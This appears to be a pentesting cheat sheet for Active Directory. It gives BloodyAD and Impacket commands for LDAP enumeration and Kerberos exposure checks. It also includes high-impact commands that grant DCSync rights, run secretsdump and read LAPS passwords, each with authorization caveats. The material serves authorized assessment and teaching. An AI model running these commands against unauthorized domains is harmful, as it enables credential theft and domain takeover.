ACTIVE DIRECTORY//BLOODYAD//LDAP ENUMERATION//AUTHORIZED TESTING//ACTIVE DIRECTORY//BLOODYAD//LDAP ENUMERATION//AUTHORIZED TESTING//
← ALL CHEAT SHEETS

CS-04 // ACTIVE DIRECTORY

ACTIVE DIRECTORY PENTESTING

A practical BloodyAD and Impacket reference for mapping an Active Directory environment, reviewing LDAP attributes, and identifying risky configurations. Commands use placeholders: set them for your authorized lab or assessment before running.

BLOODYADIMPACKETLDAPKALI LINUX
Scope & safety: Use only against domains you are explicitly authorized to assess. Enumeration commands are separated from high-impact actions. Password changes, account changes, ACL edits, delegation changes, and credential dumping can disrupt systems or expose secrets; do not run them in production without written approval and a rollback plan. Do not publish real credentials or raw credential dumps.

01 // Target setup

Set reusable values first. Replace the domain, controller address, and username with values from your assessment.

Export target variables
export DC_IP='10.10.10.10' export DOMAIN='corp.local' export USER='audituser'

Avoid exporting or hardcoding real passwords. Prefer an approved credential-handling method; shell history and process listings can leak secrets.

02 // Active Directory enumeration

Start by mapping objects and group relationships. Results help build an inventory before testing any attack path.

Enumerate computer objects
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get children --otype computer

Lists computer objects. Replace $PASS using your approved credential workflow; do not paste real secrets into public notes or shell history.

Enumerate user objects
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get children --otype useronly

Build a user inventory and note privileged or service accounts for further authorized review.

Enumerate containers
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get children --otype container

Useful for understanding how directory objects are organized.

Dump DNS records
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get dnsDump

May reveal hostnames and services worth validating against the approved scope.

Check a user's group membership
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get membership TARGET_USER

Replace TARGET_USER with the account to inspect.

List Domain Admins members
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get object "Domain Admins" --attr member

Identify membership that should be checked against least-privilege policy.

03 // LDAP & object attributes

Review account metadata, machine-account quota, and potentially sensitive attributes. Access depends on directory permissions and schema.

Inspect a user object
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get object TARGET_USER

Inspect attributes such as description, memberOf, adminCount, and account configuration. Redact sensitive values in notes.

Read machine-account quota
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get object "DC=corp,DC=local" --attr ms-DS-MachineAccountQuota

Change the distinguished name to match the target domain. A nonzero value is a configuration detail to assess in context, not proof of a vulnerability on its own.

Search descriptions and password attributes
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get search --filter "((|(userPassword=*)(description=*))" --attr userPassword,description

Review results securely. Passwords should never be stored in descriptions or readable custom attributes. Treat any discovered secret as sensitive evidence.

Enumerate accounts with an SPN
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get search --filter '(servicePrincipalName=*)' --attr sAMAccountName,servicePrincipalName

SPN presence is a starting point for reviewing service-account password policy and Kerberos exposure; it does not alone confirm a weakness.

04 // Kerberos exposure checks

Use these checks to identify accounts that may need additional review. Hash collection and password recovery must be explicitly in scope.

Check for accounts without pre-authentication
impacket-GetNPUsers "$DOMAIN"/ -dc-ip "$DC_IP" -usersfile users.txt -no-pass

Provide a scoped user list in users.txt. Review any returned material securely and only perform offline password-strength testing when authorized.

05 // Privileged ACLs & attack paths

Prioritize permission review over changing directory state. Use BloodHound CE or equivalent tooling to analyze effective rights and relationships.

06 // High-impact operations

These examples are included to make the risk explicit. They modify access or may expose credentials; prefer read-only auditing and isolated lab validation.

Grant DCSync rights — lab only
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" add dcsync TARGET_USER

This changes directory permissions and may enable domain credential extraction. Do not use as a routine test. Document approval, scope, and cleanup before any lab validation.

Impacket secretsdump — highly sensitive
impacket-secretsdump "$DOMAIN"/"$USER":PASSWORD@"$DC_IP"

Replace PASSWORD only in a controlled environment. This may expose hashes and other credential material depending on privileges and method. Never store or publish the output unredacted.

Read legacy LAPS metadata
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Legacy LAPS uses these attributes. Windows LAPS may use msLAPS-Password and msLAPS-PasswordExpirationTime. Reading a password attribute is sensitive and should be tightly controlled.

07 // Detection & hardening checklist

References

This reference is based on the supplied “Active Directory Penetration Testing with BloodyAD” document. Confirm command syntax against your installed tool version and target environment.

Command copied to clipboard